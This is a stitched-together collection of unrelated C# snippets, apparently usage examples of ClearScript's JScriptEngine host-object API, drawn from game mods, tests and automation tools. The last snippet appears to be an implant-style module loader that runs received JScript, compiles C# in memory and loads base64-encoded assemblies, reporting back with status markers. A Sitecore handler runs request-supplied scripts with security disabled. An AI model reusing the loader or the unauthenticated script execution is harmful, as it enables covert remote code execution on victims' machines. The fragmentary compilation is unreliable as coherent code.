public static ClientsideScriptWrapper StartScript(ClientsideScript script) { ClientsideScriptWrapper csWrapper = null; var scriptEngine = new JScriptEngine(); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostObject("API", new ScriptContext()); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("List", typeof(IList)); scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs)); scriptEngine.AddHostType("Keys", typeof(Keys)); scriptEngine.AddHostType("Point", typeof(Point)); scriptEngine.AddHostType("Size", typeof(Size)); scriptEngine.AddHostType("Vector3", typeof(Vector3)); scriptEngine.AddHostType("menuControl", typeof(UIMenu.MenuControls)); try { scriptEngine.Execute(script.Script); scriptEngine.Script.API.ParentResourceName = script.ResourceParent; } catch (ScriptEngineException ex) { LogException(ex); } finally { csWrapper = new ClientsideScriptWrapper(scriptEngine, script.ResourceParent, script.Filename); lock (ScriptEngines) ScriptEngines.Add(csWrapper); } return(csWrapper); }
public void Verify(ExpressionScriptProvided expressionScript) { try { using (var engine = new JScriptEngine()) { ExposeTypesToEngine(engine); engine.AddHostObject("host", new XHostFunctions()); engine.AddHostObject("debug", new DebugFunctions(this)); var writer = new StringWriter(); WritePolyfills(writer); writer.WriteLine("var __result = function() {"); writer.WriteLine(expressionScript.Expression); writer.WriteLine("};"); engine.Execute(writer.ToString()); } } catch (ScriptEngineException ex) { throw new ExprValidationException(ex.Message, ex); } }
internal async void RunScript(string code) { Presenters.SwdMainPresenter.DisplayLoadingIndicator(true); Task <string> t = new Task <string>(() => { using (var engine = new JScriptEngine()) { engine.AddHostObject("driver", SwdBrowser.GetDriver()); ImportTypes(engine); var uiPageObject = Presenters.PageObjectDefinitionPresenter.GetWebElementDefinitionFromTree(); foreach (var element in uiPageObject.Items) { IWebElement proxyElement = SwdBrowser.CreateWebElementProxy(element); string name = element.Name; engine.AddHostObject(name, proxyElement); } var result = engine.Evaluate(code) ?? "(none)"; return(result.ToString()); } }); string logLine = "done"; try { t.Start(); logLine = await t; } catch (Exception ex) { MyLog.Exception(ex); logLine = "ERROR: " + ex.Message; // TODO: FIX message --> Exception has been thrown by the target of invocation // \TODO: FIX message --> Exception has been thrown by the target of invocation } finally { view.AppendConsole(logLine + "\r\n"); Presenters.SwdMainPresenter.DisplayLoadingIndicator(false); } }
public void BugFix_NestedInterrupt_JScript() { engine.Dispose(); try { using (var startEvent = new ManualResetEventSlim(false)) { object result = null; var interruptedInner = false; var interruptedOuter = false; var thread = new Thread(() => { using (engine = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging)) { var context = new PropertyBag(); engine.AddHostObject("context", context); // ReSharper disable once AccessToDisposedClosure context["startEvent"] = startEvent; context["foo"] = new Action(() => { try { engine.Execute("while (true) { context.startEvent.Set(); }"); } catch (ScriptInterruptedException) { interruptedInner = true; } }); try { result = engine.Evaluate("context.foo(); 123"); } catch (ScriptInterruptedException) { interruptedOuter = true; } } }); thread.Start(); startEvent.Wait(); engine.Interrupt(); thread.Join(); Assert.IsTrue(interruptedInner); Assert.IsFalse(interruptedOuter); Assert.AreEqual(123, result); } } finally { engine = new V8ScriptEngine(V8ScriptEngineFlags.EnableDebugging); } }
private JScriptEngine InstantiateScripts(string script, string resourceName, string[] refs) { var scriptEngine = new JScriptEngine(); var collect = new HostTypeCollection(refs); scriptEngine.AddHostObject("clr", collect); scriptEngine.AddHostObject("API", new API() { ResourceParent = this }); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostType("Dictionary", typeof(Dictionary <,>)); scriptEngine.AddHostType("xmlParser", typeof(RetardedXMLParser)); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("NetHandle", typeof(NetHandle)); scriptEngine.AddHostType("String", typeof(string)); scriptEngine.AddHostType("List", typeof(List <>)); scriptEngine.AddHostType("Client", typeof(Client)); scriptEngine.AddHostType("Vector3", typeof(Vector3)); scriptEngine.AddHostType("Quaternion", typeof(Vector3)); scriptEngine.AddHostType("Client", typeof(Client)); scriptEngine.AddHostType("LocalPlayerArgument", typeof(LocalPlayerArgument)); scriptEngine.AddHostType("LocalGamePlayerArgument", typeof(LocalGamePlayerArgument)); scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument)); scriptEngine.AddHostType("EntityPointerArgument", typeof(EntityPointerArgument)); scriptEngine.AddHostType("console", typeof(Console)); scriptEngine.AddHostType("VehicleHash", typeof(VehicleHash)); scriptEngine.AddHostType("Int32", typeof(int)); scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument)); scriptEngine.AddHostType("EntityPtrArgument", typeof(EntityPointerArgument)); try { scriptEngine.Execute(script); } catch (ScriptEngineException ex) { Program.Output("EXCEPTION WHEN COMPILING JAVASCRIPT " + Filename); Program.Output(ex.Message); Program.Output(ex.StackTrace); HasTerminated = true; throw; } return(scriptEngine); }
// ReSharper restore InconsistentNaming #endregion #region miscellaneous private static void VariantClearTestHelper(object x) { using (var engine = new JScriptEngine()) { engine.AddHostObject("x", x); engine.Evaluate("x"); } }
public Tuple <bool, object> Run(string scriptText, Config cfg, Dictionary <string, object> settings) { bool ok = false; JSE.AddHostObject("CSCFG", cfg); JSE.AddHostObject("CSSettings", settings); object evalResponse; try { evalResponse = JSE.Evaluate(scriptText); ok = true; } catch (ScriptEngineException sex) { evalResponse = String.Format("{0}\r\n{1}\r\n{2}\r\n", sex.ErrorDetails, sex.Message, sex.StackTrace); ok = false; } return(new Tuple <bool, object> (ok, evalResponse)); }
public static void Load(this JScriptEngine se, Type t) { var ca = t.GetCustomAttribute <ScriptModuleAttribute>(); if (ca != null) { object tmp; try { tmp = Activator.CreateInstance(t); } catch { tmp = 12; } if (ca.AsType) { se.AddHostType(ca.Name != null ? ca.Name : t.Name, t); } foreach (var me in t.GetMethods()) { if (me.IsStatic) { var meca = me.GetCustomAttribute <ScriptFunctionAttribute>(); if (meca != null) { se.AddHostObject(meca.Name != null ? meca.Name : me.Name, new StaticMethodFunc(args => me.Invoke(null, args))); } } } foreach (var me in t.GetProperties()) { var meca = me.GetCustomAttribute <ScriptMemberAttribute>(); if (meca != null) { se.AddHostObject(meca.Name != null ? meca.Name : me.Name, me.GetValue(tmp, null)); } } } }
private static void ExecuteScript(UserScript script, ScriptHost scriptHost, Logger logger, object[] args) { try { //var engine = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging); var engine = new JScriptEngine(); engine.AddHostObject("host", scriptHost); string initArgsScript = string.Format("var arguments = {0};", args.ToJson()); engine.Execute(initArgsScript); engine.Execute(script.Body); } catch (Exception ex) { var messge = string.Format("Error in user script {0}", script.Name); logger.ErrorException(messge, ex); } }
public void VBScriptEngine_ErrorHandling_NestedHostException() { var innerEngine = new JScriptEngine("inner", WindowsScriptEngineFlags.EnableDebugging); innerEngine.AddHostObject("host", new HostFunctions()); engine.AddHostObject("engine", innerEngine); TestUtil.AssertException <ScriptEngineException>(() => { try { engine.Execute("engine.Evaluate(\"host.newObj(0)\")"); } catch (ScriptEngineException exception) { TestUtil.AssertValidException(engine, exception); Assert.IsNotNull(exception.InnerException); var hostException = exception.InnerException; Assert.IsInstanceOfType(hostException, typeof(TargetInvocationException)); TestUtil.AssertValidException(hostException); Assert.IsNotNull(hostException.InnerException); var nestedException = hostException.InnerException as ScriptEngineException; Assert.IsNotNull(nestedException); TestUtil.AssertValidException(innerEngine, nestedException); Assert.IsNotNull(nestedException.InnerException); var nestedHostException = nestedException.InnerException; Assert.IsInstanceOfType(nestedHostException, typeof(RuntimeBinderException)); TestUtil.AssertValidException(nestedHostException); Assert.IsNull(nestedHostException.InnerException); Assert.AreEqual(nestedHostException.Message, nestedException.Message); Assert.AreEqual(hostException.Message, exception.Message); throw; } }); }
public static void StartScript(string script, List <int> identEnts) { var scriptEngine = new JScriptEngine(); var collection = new HostTypeCollection(Assembly.LoadFrom("scripthookvdotnet.dll"), Assembly.LoadFrom("scripts\\NativeUI.dll")); scriptEngine.AddHostObject("API", collection); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostObject("script", new ScriptContext()); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("List", typeof(IList)); scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs)); scriptEngine.AddHostType("Keys", typeof(Keys)); foreach (var obj in identEnts) { var name = PropStreamer.Identifications[obj]; if (MapEditor.IsPed(new Prop(obj))) { scriptEngine.AddHostObject(name, new Ped(obj)); } else if (MapEditor.IsVehicle(new Prop(obj))) { scriptEngine.AddHostObject(name, new Vehicle(obj)); } else if (MapEditor.IsProp(new Prop(obj))) { scriptEngine.AddHostObject(name, new Prop(obj)); } } try { scriptEngine.Execute(script); } catch (ScriptEngineException ex) { LogException(ex); } finally { lock (ScriptEngines) ScriptEngines.Add(scriptEngine); } }
private int Execute() { int returnValue = 0; using (ScriptEngine scriptEngine = new JScriptEngine(_scriptFlags)) { scriptEngine.AddHostObject("$cmd", new ProgramContext(_debug)); foreach (string path in _paths) { try { Console.Write("scriptEngine.Execute: " + path + "\r\n"); string contents = File.ReadAllText(path); scriptEngine.Execute(contents); } catch (ScriptEngineException e) { Console.Write("CommandLineEngine error with script file' " + path + "'. "); Console.Write(e.ErrorDetails + "\r\n\r\n" + e.InnerException + "\r\n\r\n"); returnValue = 2; break; } catch (Exception ex) { Console.Write("CommandLineEngine error with script file' " + path + "'. "); Console.Write("Details: " + GetaAllMessages(ex)); returnValue = 3; break; } } } return(returnValue); }
public void ProcessRequest(HttpContext context) { DateTime start = DateTime.Now; string[] paths = context.Request.Params.GetValues("path"); string[] scripts = context.Request.Params.GetValues("script"); int pathIndex = -1; context.Response.ContentType = "text/plain"; context.Response.Write("Connected to SINJ handler on " + Environment.MachineName + "\r\n"); context.Response.Write("Sinj Version " + Assembly.GetExecutingAssembly().GetName().Version + "\r\n"); context.Response.Write("Num Paths = " + GetDebugString(paths) + "\r\n"); context.Response.Write("Num Scripts = " + GetDebugString(scripts) + "\r\n"); WindowsScriptEngineFlags flags = WindowsScriptEngineFlags.None; if (context.Request.Params["debug"] == "true") { flags = WindowsScriptEngineFlags.EnableDebugging; } using (ScriptEngine engine = new JScriptEngine(flags)) { var pushContext = new PushContext(); engine.AddHostObject("$sc", pushContext); //these global variables should not be here polluting the global namespace in javascript //they should hang off $sc, that's what PushContext is for - KW engine.AddHostType("$scItemManager", typeof(Sitecore.Data.Managers.ItemManager)); engine.AddHostType("$scTemplateManager", typeof(Sitecore.Data.Managers.TemplateManager)); engine.AddHostType("$scLanguage", typeof(Sitecore.Globalization.Language)); engine.AddHostType("$scVersion", typeof(Sitecore.Data.Version)); engine.AddHostType("$scID", typeof(Sitecore.Data.ID)); engine.AddHostType("$scTemplateIDs", typeof(Sitecore.TemplateIDs)); engine.AddHostType("$scTemplateFieldIDs", typeof(Sitecore.TemplateFieldIDs)); engine.AddHostType("$scTemplateFieldSharing", typeof(Sitecore.Data.Templates.TemplateFieldSharing)); engine.AddHostObject("$scMediaItem", new MediaItem()); engine.AddHostType("$scFieldIDs", typeof(Sitecore.FieldIDs)); if (scripts != null && paths != null) { try { using (new Sitecore.SecurityModel.SecurityDisabler()) { foreach (string script in scripts) { pathIndex++; engine.Execute(script); pushContext.RunAsUser(null); } } TimeSpan duration = DateTime.Now - start; context.Response.Write(String.Format("Sinj.PushHandler Completed Successfully in {0} seconds.", duration.TotalSeconds)); } catch (ScriptEngineException e) { context.Response.Write("PushHandler error in script file' " + paths[pathIndex] + "'. "); context.Response.Write(e.ErrorDetails + "\r\n\r\n" + e.InnerException + "\r\n\r\n"); } } else { engine.Execute("$sc.log('Hello from Sinj...')"); } } }
public Runner() { AppDomain currentDomain = AppDomain.CurrentDomain; currentDomain.UnhandledException += new UnhandledExceptionEventHandler(MyHandler); JSE = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging | WindowsScriptEngineFlags.EnableJITDebugging); JSE.AddHostObject("CSHost", new ExtendedHostFunctions()); JSE.AddHostType("CSMarkup", typeof(Markup)); JSE.AddHostType("CSMarkupFormatters", typeof(MarkupFormatters)); /// System JSE.AddHostType("CSString", typeof(String)); JSE.AddHostType("CSEnvironment", typeof(Environment)); JSE.AddHostType("CSConsole", typeof(Console)); JSE.AddHostType("CSFile", typeof(File)); JSE.AddHostType("CSFileInfo", typeof(FileInfo)); JSE.AddHostType("CSDirectory", typeof(Directory)); JSE.AddHostType("CSPath", typeof(Path)); JSE.AddHostType("CSSearchOption", typeof(SearchOption)); JSE.AddHostType("CSEncoding", typeof(Encoding)); JSE.AddHostType("CSMemoryStream", typeof(MemoryStream)); JSE.AddHostType("CSTimeSpan", typeof(TimeSpan)); JSE.AddHostType("CSThread", typeof(Thread)); JSE.AddHostType("CSProcess", typeof(Process)); JSE.AddHostType("CSProcessStartInfo", typeof(ProcessStartInfo)); JSE.AddHostType("CSSearchOption", typeof(SearchOption)); JSE.AddHostType("CSUri", typeof(Uri)); JSE.AddHostType("CSWebClient", typeof(WebClient)); JSE.AddHostType("CSStreamReader", typeof(StreamReader)); JSE.AddHostType("CSStream", typeof(Stream)); JSE.AddHostType("CSBitmap", typeof(Bitmap)); JSE.AddHostType("CSImageFormat", typeof(ImageFormat)); JSE.AddHostType("CSDebugger", typeof(Debugger)); /// Mail JSE.AddHostType("CSMailMessage", typeof(MailMessage)); JSE.AddHostType("CSMailAddress", typeof(MailAddress)); JSE.AddHostType("CSAttachment", typeof(Attachment)); JSE.AddHostType("CSNetworkCredential", typeof(NetworkCredential)); JSE.AddHostType("CSSmtpClient", typeof(SmtpClient)); /// Firefox JSE.AddHostType("CSFirefoxBinary", typeof(FirefoxBinary)); JSE.AddHostType("CSFirefoxDriver", typeof(FirefoxDriver)); JSE.AddHostType("CSFirefoxProfileManager", typeof(FirefoxProfileManager)); JSE.AddHostType("CSFirefoxProfile", typeof(FirefoxProfile)); JSE.AddHostType("CSFirefoxDriverCommandExecutor", typeof(FirefoxDriverCommandExecutor)); JSE.AddHostType("CSFirefoxOptions", typeof(FirefoxOptions)); JSE.AddHostType("CSFirefoxDriverService", typeof(FirefoxDriverService)); /// PhantomJS JSE.AddHostType("CSPhantomJSDriver", typeof(PhantomJSDriver)); JSE.AddHostType("CSPhantomJSOptions", typeof(PhantomJSOptions)); JSE.AddHostType("CSPhantomJSDriverService", typeof(PhantomJSDriverService)); /// Selenium JSE.AddHostType("CSBy", typeof(By)); JSE.AddHostType("CSJavascriptExecutor", typeof(IJavaScriptExecutor)); JSE.AddHostType("CSActions", typeof(Actions)); JSE.AddHostType("CSDriverService", typeof(OpenQA.Selenium.DriverService)); JSE.AddHostType("CSRemoteWebDriver", typeof(RemoteWebDriver)); JSE.AddHostType("CSDesiredCapabilities", typeof(DesiredCapabilities)); JSE.AddHostType("CSPlatform", typeof(Platform)); JSE.AddHostType("CSPlatformType", typeof(PlatformType)); JSE.AddHostType("CSProxy", typeof(Proxy)); JSE.AddHostType("CSProxyKind", typeof(ProxyKind)); JSE.AddHostType("CSIWebDriver", typeof(IWebDriver)); JSE.AddHostType("CSITakesScreenshot", typeof(ITakesScreenshot)); JSE.AddHostType("CSScreenshot", typeof(Screenshot)); JSE.AddHostType("CSSelectElement", typeof(SelectElement)); /// HTMLAgilityPack JSE.AddHostType("CSHtmlDocument", typeof(HtmlAgilityPack.HtmlDocument)); JSE.AddHostType("CSHtmlNode", typeof(HtmlAgilityPack.HtmlNode)); JSE.AddHostType("CSHtmlNodeCollection", typeof(HtmlAgilityPack.HtmlNodeCollection)); JSE.AddHostType("CSHtmlAttribute", typeof(HtmlAgilityPack.HtmlAttribute)); //JSE.AddHostType(typeof(HapCssExtensionMethods)); /// Axtension JSE.AddHostType("T", typeof(Axtension.ApplicationLogging)); JSE.AddHostType("CSConfig", typeof(Axtension.Config)); JSE.AddHostType("CSREST", typeof(Axtension.REST)); JSE.AddHostType("CSRESTful", typeof(Axtension.RESTful)); JSE.AddHostType("CSFluentREST", typeof(Axtension.RESTful2)); JSE.AddHostType("CSProcesses", typeof(Axtension.Processes)); JSE.AddHostType("CSMail", typeof(Axtension.Mail)); JSE.AddHostType("CSDatabase", typeof(Axtension.SQL)); JSE.AddHostType("CSTelstraSMS", typeof(Axtension.TelstraSMS)); JSE.AddHostType("CSXML", typeof(Axtension.XML)); JSE.AddHostType("CSSQL", typeof(Axtension.SQL)); JSE.AddHostType("CSGoogleOAuth2", typeof(Axtension.GoogleOAuth2)); JSE.AddHostType("CSDebugPoints", typeof(Axtension.DebugPoints)); // JSE.AddHostType("CSZipFile", typeof(ZipFile)); }
public void JScriptEngine_AddHostObject() { var host = new HostFunctions(); engine.AddHostObject("host", host); Assert.AreSame(host, engine.Evaluate("host")); }
public static void AddObject(string name, object obj) { _engine.AddHostObject(name, obj); }
public static int LoadAndExec(String code, StreamReader rdr) { var lines = code.Split('\n'); switch (lines[0]) { case "//CLEARSCRIPT": JScriptEngine jsEngine = new JScriptEngine(); jsEngine.AddHostType("Console", typeof(Console)); jsEngine.AddHostObject("sw", streamWriter); jsEngine.AddHostObject("rdr", rdr); jsEngine.AddHostObject("xHost", new ExtendedHostFunctions()); jsEngine.AddHostType("DllImports", typeof(DllImports)); jsEngine.AddHostType("Win32", typeof(SilverSmoke.Execution.Win32)); jsEngine.AddHostType("Native", typeof(SilverSmoke.Execution.Native)); var typeCollection = new HostTypeCollection("mscorlib", "System", "System.Core"); jsEngine.AddHostObject("clr", typeCollection); try { jsEngine.Execute(code); } catch (Exception ex) { streamWriter.WriteLine(ex.Message); } break; case "//C#": TextWriter oldOut = Console.Out; //save this Console.SetOut(streamWriter); string[] dlls = lines[1].Substring(2).Split(','); //2nd line: list of DLLs, seperated by commas string nm = lines[2].Substring(2); //3rd line: namespace string cls = lines[3].Substring(2); //4th line: class name string mthd = lines[5].Substring(2); //5th line: method name string[] argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method compileInMemory(code, dlls, nm, cls, mthd, argl); Console.SetOut(oldOut); break; case "//IL-DATA": nm = lines[1].Substring(2); //2nd line: namespace cls = lines[2].Substring(2); //3rd line: class name mthd = lines[3].Substring(2); //4th line: method name argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method byte[] data = Convert.FromBase64String(lines[6]); //7th line: b64 encoded assembly try { oldOut = Console.Out; //save this Console.SetOut(streamWriter); Assembly asm = Assembly.Load(data); Type type = asm.GetType(nm + "." + cls); MethodInfo method = type.GetMethod(mthd); ParameterInfo[] parameters = method.GetParameters(); object[] parametersArray = new object[] { argl }; method.Invoke(null, parameters.Length == 0 ? null : parametersArray); Console.SetOut(oldOut); } catch (Exception e) { streamWriter.WriteLine("Error Loading IL Assembly:"); streamWriter.WriteLine(e.Message); } break; default: streamWriter.WriteLine("[-] Invalid module format."); break; } bld.Remove(0, bld.Length); bld.Clear(); streamWriter.WriteLine("SIGNAL-MODULE-FINISHED"); return(0); }